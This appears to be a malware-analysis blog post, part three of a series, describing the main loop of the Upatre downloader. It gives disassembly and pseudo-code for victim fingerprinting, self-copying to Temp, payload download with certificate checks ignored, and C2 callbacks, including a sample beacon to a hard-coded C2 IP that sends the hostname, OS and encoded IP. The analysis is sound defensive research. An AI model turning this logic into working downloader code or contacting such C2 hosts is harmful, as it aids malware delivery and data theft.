cover image for post 'Win32/Upatre.BI - Part Three'

Win32/Upatre.BI - Part Three

Main Loop
This is the third part of the four-part series on "Win32/Upatre.BI". Check out the other parts here:

This blog post analyzes the core routine of Upatre. It is covered in only one of my four parts on Upatre, because it honestly doesn’t do much. The ultimate goal of Upatre is to download second stage payload, which will do the real damage.

As already touched on at the discussion of Upatre’s configuration, there is a list of targets which the malware contacts, more or less, one after another. The first of the targets (denoted by “client ip” in the config listings) is used to determine the client IP. The remaining targets (“download x”) host the second stage payload. Apart from the list of targets, Upatre has one hard coded server (“C2 server”:“port”) which is used to give feedback about the victim’s machine and the wellbeing of Upatre.

This article covers the following topics:

  • A simplified flow chart of Upatre’s main loop.
  • The main steps in pseudo-code, trying to be as close to the actual Windows API calls as possible.
  • The format and meaning of the C2 callbacks.

What happens when Upatre is able to download payload from one of its preconfigured download servers will be the topic of the next and final part of this series on Upatre.

Overview of the Main Loop

The following illustration summarizes the course of action. Some details, as well as some error handling, are omitted.

Preparation Tasks

This section is about the upper half of the flow chart before the main loop. Upatre first resolves the global offsets. Then it parses the configuration data with subroutine decrypt_strings_and_get_os_infos at offset 0x14 into the .text section. See the previous part for an explanation of these two steps. Still inside decrypt_strings_and_get_os_infos, Upatre also determines some victim information.

Hostname

The following snippet determines the netBIOS hostname of the victim’s client, and surrounds the name with forward slashes:

.text:0040109A call    [ebp+64h+fetch_and_advance]
.text:0040109D mov     [ebp+64h+computer_name_slashed], eax
.text:004010A0 mov     edi, eax
.text:004010A2 mov     al, '/'
.text:004010A4 stosb
.text:004010A5 xor     eax, eax
.text:004010A7 stosb
.text:004010A8 mov     al, 200
.text:004010AA lea     esi, [ebp+64h+os_info_slashed]
.text:004010AD mov     [esi], eax
.text:004010AF push    esi
.text:004010B0 push    edi
.text:004010B1 call    [ebx+imports.GetComputerNameW]
.text:004010B7 lodsd
.text:004010B8 lea     edi, [edi+eax*2]
.text:004010BB mov     al, '/'
.text:004010C0 stosb

The resulting Unicode string is for example:

debug038:02655D14 unicode 0, </VICTIM-COMPUTER/>,0

OS Version Information

Upatre also determines the operating system version and service pack level by calling GetVersionExW. The resulting OSVERSIONINFOEXW structure is converted into the following compact string format:

/<major><minor>[SER][-SP<service_pack_major>/

where

  • <major> and <minor> denote the dwMajorVersion and dwMinorVersion fields respectively. For example “61” for Windows 7 and “51” for Windows XP. Upatre can’t properly handle version numbers greater than 9: on Windows 10 it turns the version information into “:1”.
  • ["SER"]: if the wProductType is 1, i.e., VER_NT_WORKSTATION, then this field is omitted, Otherwise the string “SER” is appended.
  • [-SP<service_pack_major>]: If the wServicePackMajor value is non-zero (meaning a service pack is installed), then the string “-SP” followed by the service pack number is appended.

For example, on Windows Server 2012 with Service Pack 1 the OS information string is 62SER-SP1.

Copy Executable to Temp Folder

Upatre hides in the Temp-Folder of Windows. The target filename comes from the list of decrypted strings. The name of some samples is listed in the previous post (under the label “malware name”). Upatre checks whether it has already been copied by the existence of temp file, which is also stored in the temp folder. The names again comes from the config (“temp file”).

If the temp file does not exist, which means Upatre is run for the first time, then the exe is copied to the new location in the temp folder. Upatre also creates the temp file and writes the current module path to the file. The copy is then executed and the current process terminates:

GetTempPathW(.., tmp_folder)
tmp_file = tmp_folder + "/" + get_decrypted_string_by_index(8) 
hTmp = CreateFileW(tmp_file, GENERIC_READ, ... , OPEN_EXISTING, ...)

IF hTmp == INVALID_HANDLE_VALUE THEN   //// no temp file ///////////////////
    // create the tmp file 
    DO 
        GetModuleFileName(0, module_path);
        hTmp = CreateFileW(tmp_file, GENERIC_WRITE, ..., CREATE_ALWAYS, ...)
    WHILE hTmp == INVALID_HANDLE_VALUE

    // write the module path to the temp file
    WriteFile(hTmp, module_path, ...) 
    CloseHandle(hTmp)

    // get the new exe path by joining %Temp% with the configured exe name
    GetTempPath(..., tmp_folder)
    exe_file = tmp_folder + "/" +  get_decrypted_string_by_index(7) 

    // open the exe at the current location and read content
    DO
        hModule = CreateFileW(module_path, GENERIC_READ, ... ,OPEN_EXISTING , ...)
    WHILE hModule == INVALID_HANDLE_VALUE
    module_file_size = GetFileSize(hModule, ...)
    ReadFile(hModule, module_content, module_file_size, ...)

    // copy content to new exe, run it, exit this process
    hExe = CreateFileW(exe_file, GENERIC_WRITE, ..., CREATE_ALWAYS, ...)
    IF hExe THEN
        WriteFile(hExe, module_content, module_file_size, ...);
        CloseHandle(hModule)
        CloseHandle(hExe)
        CreateProcessW(0, exe_file, ...) 
    END IF
    ExitProcess(0)

Deleting the Original Executable

The process launched from the new path will again perform the initialization steps. This time the temp file exists and Upatre reads its content. It also checks the length of the content: if it is greater than 0x403, i.e., 515 Unicode characters, then the content is too long to be the path to the original exe. Upatre instead assumes that the temp file must contain downloaded second stage payload and enters the download handler (subject of the fourth part of this blog series):

ELSE
    // read content of temp file
    file_size_of_log_file = GetFileSize(hTmp, ...)
    DO
        r = ReadFile(hTmp, tmp_content, ..., tmp_size, ...) 
    WHILE r == INVALID_HANDLE_VALUE

    // if file is large, then it must be payload -> go to DOWNLOAD_HANDLER
    IF tmp_size > 0x406 THEN
        goto DOWNLOAD_HANDLER;
    END IF

If, however, the content length is smaller than 0x406, then Upatre treats the content as the path to the original executable and tries to delete it up to 32 times, sleeping one second after each attempt:

    CloseHandle(hTmp)

    // try to delete the original exe
    REPEAT 32 TIMES
        IF DeleteFileW(tmp_content)
            BREAK
        SleepEx(1 sec, ...)
    END REPEAT

Initializing the Internet Connection

The last step before entering the main loop is to initialize the internet connection. The user-agent and the accept-types are retrieved from the list of encrypted strings. Upatre also initializes the sleep timer to 10 seconds:

// initialize internet connection
DO
    user_agent = get_decrypted_string_by_index(6) // user agent;
    hInternetOpen = InternetOpenW(InternetConnect, 0, 0, 0, 0)
WHILE ( !hInternetOpen )

accept_types = get_decrypted_string_by_index(3);
accept_types_2 = get_decrypted_string_by_index(4);
sleep_timer = 10 secs
encrypted_ip = ""
target_nr = -1;
rounds = 0

Target Loop

After the preparation tasks, Upatre starts looping over its targets until it manages to download a viable second stage payload.

Get Next Target

The loop starts by getting the next target number. If the end of the target list is reached, then the rounds-counter is increased. Depending on how many rounds passed (meaning how many times Upatre went through the target list), different actions are taken:

  • If 5 or less rounds passed: Upatre sleeps according to sleep_timer, e.g., 10 seconds. Then a 0x2901 C2 callback is made with send_user_infos. Details of C2 callbacks follow later.
  • If 5 to 10 rounds passed: Upatre also sleeps as specified by sleep_timer, but does not make C2 callbacks.
  • If 10 or more rounds passed: Upatre resets the rounds counter to 0, increases the sleep_timer by 8 seconds, and then sleeps for 10 minutes. This way the sleep timer grows by 8 seconds every 10 rounds.

Upatre also resets the target number to 0 if the client ip is not yet known, and 1 otherwise. Finally, the server name field of the target, i.e., the second field, is checked: if it is -1, then the target is skipped and the next target is considered. Once a target is found, then potentially open network handles are closed. The following pseudo-code snippet shows the steps to get the next target number:

DO
    target_nr++
    IF target_nr == nr_of_targets // end of target list
        rounds++
        sleep = sleep_timer;
        skip_c2 = FALSE
        IF rounds > 5 THEN
            skip_c2 = TRUE
            IF rounds > 10 THEN
                rounds = 0
                sleep_timer += 8 secs
                sleep = 10 minutes
            END IF
        END IF
        SleepEx(sleep, 1)

        // send feedback to C2 with code 0x2902
        IF skip_c2 == FALSE THEN
            send_user_infos(0x2902)
        END IF

        // reset to first or second target
        IF client ip known THEN
            target_nr = 1
        ELSE
            target_nr = 0
        END IF
    END IF
    server = target[target_nr].server
WHILE server == -1 

// close previous handles
IF hInternetTarget THEN 
    InternetCloseHandle(hInternetTarget)
    hInternetTarget = NULL
END IF
IF hHttpRequestHandle THEN
    InternetCloseHandle(hHttpRequestHandle)
    hHttpRequestHandle = NULL
END IF

InternetConnect

First the connect timeout is set to four seconds:

// set timeout to 4 seconds
InternetSetOptionW(hInternetOpenHandle, INTERNET_OPTION_CONNECT_TIMEOUT, 
                    4 secs, ...);

Then Upatre tries to InternetConnect to the target. As already noted in the previous blog post, the first target number is special; it is used to determine the IP of the client and not like the other targets to download second stage payload. The first target is also the only target that uses HTTP, the download locations use HTTPS. For the InternetConnect this implies the port needs to be set accordingly.

The first round is special too. Instead of tackling the target number 1, i.e., the first download target, Upatre randomizes the target number. It only does this once. All subsequent rounds use the full set of download targets.

Upatre tries three times to connect to the target. If all three attempts fail, then the next target is attempted.

retries = 3
DO

    // the first target is http, the rest https
    IF target_nr == 0
        port = 80
    ELSE
        port = 443
    END IF

    // if target_nr is 1, then shuffle target
    IF target_nr == 1 and first_round THEN
        first_round = FALSE
        target_nr = GetTickCount() % nr_of_targets
        IF target_nr == 0 THEN
            target_nr = 1
        END IF
    END IF

    server =  get_decrypted_string_by_index(target[target_nr].server)
    hInternetTarget = InternetConnectW(hInternetOpenHandle, server, port, 
                                        ..., INTERNET_SERVICE_HTTP, ...)
    retries--
WHILE retries AND hInternetTarget == NULL

// if failed, continue with next IP
IF NOT hInternetTarget
    CONTINUE 
END IF

HttpOpenRequest

Upatre then tries — again three times — to open a HTTP request for the target. The first target, due to not being HTTPS, does not receive certain options. Note that although the download locations use HTTPS, the certificates are no validated.

retries = 3
DO
    flags = INTERNET_FLAG_RELOAD 

    // all except the first target are https
    IF target_nr > 0
        flags ^= INTERNET_FLAG_SECURE ^
                INTERNET_FLAG_IGNORE_CERT_DATE_INVALID ^
                INTERNET_FLAG_IGNORE_CERT_CN_INVALID ^
    END IF

    // hardcoded accept types and target path
    accept_type = get_decrypted_string_by_index[3] +
                    get_decrypted_string_by_index[4]
    path = target[target_nr].path

    // make request
    hHttpRequestHandle = HttpOpenRequestW(hInternetTarget, "GET", path, ..., 
                        accept_types, flags)
    retires---
WHILE retries AND hHttpRequestHandle == NULL

// if failed, continue with next IP
IF NOT hHttpRequestHandle 
    CONTINUE 
END IF

// all except first target are https
IF target_nr > 0 THEN
    InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_SECURITY_FLAGS, 
                    SECURITY_FLAG_IGNORE_UNKNOWN_CA, ...);
END

HttpSendRequest and InternetReadFile

Upatre then tries twice to send the HTTP request to the server. The timeouts are set to 30 seconds.

// set timeout to 30 seconds -> longer because downloading file
InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_RECEIVE_TIMEOUT, 30 secs)
InternetSetOptionW(hHttpRequestHandle, INTERNET_OPTION_CONNECT_TIMEOUT, 30 secs)

// try twice to send the HTTPRequest
retries = 2
DO
    r = HttpSendRequestW(hHttpRequestHandle, ...)
    retries--
WHILE retries > 0 AND NOT r 

// if failed, continue with next IP
IF NOT r 
    CONTINUE 
END IF

Then the response is read:

// read response
total_read = 0
http_response = []
WHILE TRUE
    IF InternetReadFile(hHttpRequestHandle, &buffer, 2 MB, &read) == NULL
        BREAK
    END IF
    total_read += read 
    http_response += buffer
    IF read == 0
        BREAK
    END IF
END WHILE

Handle the Response

Upatre considers the target’s response a second stage payload, if the size is more than 150'070 bytes. In those cases it writes the content to the temp file and invokes the download handler, which is the topic of the next part of this blog series:

IF total_read > 0x24A36
    hTmp = CreateFileW(tmp_file, GENERIC_WRITE, ..., CREATE_ALWAYS)  
    IF hTmp == INVALID_HANDLE_VALUE 
        ExitProcess(0)
    END IF
    WriteFile(hTmp, http_response, ...)
    CloseHandle(hTmp)
    tmp_content = http_response
    GOTO DOWNLOAD_HANLDER

A smaller response signifies a failed download of payload if the target number was not zero, and Upatre makes a C2 callback with error code 0x2902. If, however, the target number is zero and used to get the IP of the client, then a small response is expected. If Upatre doesn’t already know the client’s IP, then it considers the returned content to be the IP without sanity checking whatsoever. The IP is obfuscated by shifting all ASCII codes up 20 places:

ELSE
    IF target_nr == 0 AND encrypted_ip == ""
        // if target is 0 and client ip is not yet know 

        FOR letter IN http_response DO
            IF letter == '.' OR '0' <= letter <= '9'
                encrypted_ip += (letter + 20)
            ELSE
                BREAK
            END IF
        END FOR

        // get C2 server and port from config strings 
        // and random value to port
        port = get_decrypted_string_by_index(3) -> port
        port += GetTickCount() % 4 
        server = get_decrypted_string_by_index(9) -> c2 server 
        hInternetC2 = InternetConnectW(hInternetOpenHandle, server, port,
                ..., INTERNET_SERVICE_HTTP, ...)

        // send user infos with argument 0
        send_user_infos(0, hInternetC2)
    ELSE
        // if download of malware failed, send code 0x2902 
        send_user_infos(0x2902, hInternetC2)
    END IF
    CONTINUE
END IF

C2 Callbacks

Finally, let’s have a look at the C2-callbacks. These callback are made in two cases:

  1. To report back the victims operating system, hostname and IP.
  2. To report back errors, for instance when all targets are exhausted without finding a valid IP.

All C2 callbacks are made to the same target, which is hard-coded in the list of encrypted strings. I labelled the C2’s IP address “C2 server” in the listing of config files in the previous posts. The destination port is also determined based on a hard-coded value (“port” in the config listing). Upatre adds some randomness to this port by calling GetTickCount and taking the result modulo 4. A connection to the server and port is prepared by calling InternetConnect, and the resulting handle is passed to the send_user_info subroutine, along with the current target number and an error code:

port = get_decrypted_string_by_index(3) -> port
port += GetTickCount() % 4 
server = get_decrypted_string_by_index(9) -> c2 server 
hInternetC2 = InternetConnectW(hInternetOpenHandle, server, port,
        ..., INTERNET_SERVICE_HTTP, ...)

// send user infos with argument 0
send_user_infos(0, hInternetC2)

An error code of 0, as in the previous example, represents the first use case, where information about the victim is sent to the C2 server. All other error codes are used in the second case, i.e., when something went wrong.

  • 0x2901: list of targets exhausted.
  • 0x2902: errors related to the HTTP response, meaning it is either too short or corrupt. The later case is part of the download handler and the topic of the next part of the blog series.
  • 0x2904: means the HTTP response could be decrypted correctly, but the check key does not match or the payloads does not contain an executable. Again this will be discussed in the next blog post.

The format of the C2-callbacks differs between the regular callback and the error reporting.

Regular Callback

The callback in non error cases has the following format:

GET http://<C2 server>:<rand-port>/<id>/<hostname>/0/<os-info>/0/<obfuscated-ip> 
User-Agent: <user-agent> 

With the fields being:

  • <C2 server>: the hard-coded C2 server
  • <rand-port>: the randomized port, i.e., <port> + GetTickCount() % 4
  • <id>: the root directory for the target, listed after “id =” in the config listings.
  • <hostname>: the netBIOS hostname of the client, as determined in decrypt_strings_and_get_os_infos.
  • <os-info>: the operating system and service pack level, see Preparation Tasks.
  • <obfuscate-ip>: the obfuscated IP, i.e., the client’s IP with every ASCII character shifted up 20 places.

For example

GET http://91.211.17.201:13381/PS21/VICTIM-COMPUTER/0/61-SP1/0/EFGBHIBJKBLM HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 91.211.17.201:13380
Pragma: no-cache

Where “EFGBHIBJKBLM” represents the IP 123.45.67.89.

Error Callback

The error callbacks are a little weird, because many Upatre implementations contain a swprintf-bug. I first show how the callbacks are supposed to look like. Then I show what is actually sent for my sample. Here is the desired callback format:

GET http://<C2 server>:<rand-port>/<id>/<hostname>/41/<error-code & 0xFF>/<target-nr>/<obfuscated-ip>
User-Agent: <user-agent> 

With the new fields being:

  • <error-code & 0xFF>: the lower byte of the error code, for example 2 for 0x2902.
  • <target-nr>: the current target number, e.g., the target that caused the error.

For error code 0x2904, the intended C2 callback could looks as follows:

GET http://91.211.17.201:13382/PS21/VICTIM-COMPUTER/41/4/7/EFGBHIBJKBLM
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 91.211.17.201:13380
Pragma: no-cache

Which would mean to the C2 operator that target number 7 delivered an executable that wasn’t corrupt, but failed the check-key-validation (see next blog post).

Upatre uses the swprintf library call to format the target number into a string. Unfortunately, the authors messed up the parameter order. As a result not only is the target number not appended, but the string is also not properly zero terminated. And because the HTTP GET target is always written to the same memory location, this means that the previous string is mangled in. Here is an example:

previous path:   /PS21/VICTIM-COMPUTER/0/61-SP1/0/EFGBHIBJKBLM 
new path:        /PS21/VICTIM-COMPUTER/41/2/
result:          /PS21/VICTIM-COMPUTER/41/2/SP1/0/EFGBHIBJKBLM 

or

previous path:   /PS21/VICTIM-COMPUTER/0/52/0/EFGBHIBJKBLM 
new path:        /PS21/VICTIM-COMPUTER/41/2/
result:          /PS21/VICTIM-COMPUTER/41/2/0/EFGBHIBJKBLM 

Upatre doesn’t expect or read a response from the C2 server. It just continues running the main loop until it finds a valid payload. The format of the payload, how to decrypt the payload (even without knowing the keys), and an example of how payloads are handled will be the topic of the next — and last — part of this series.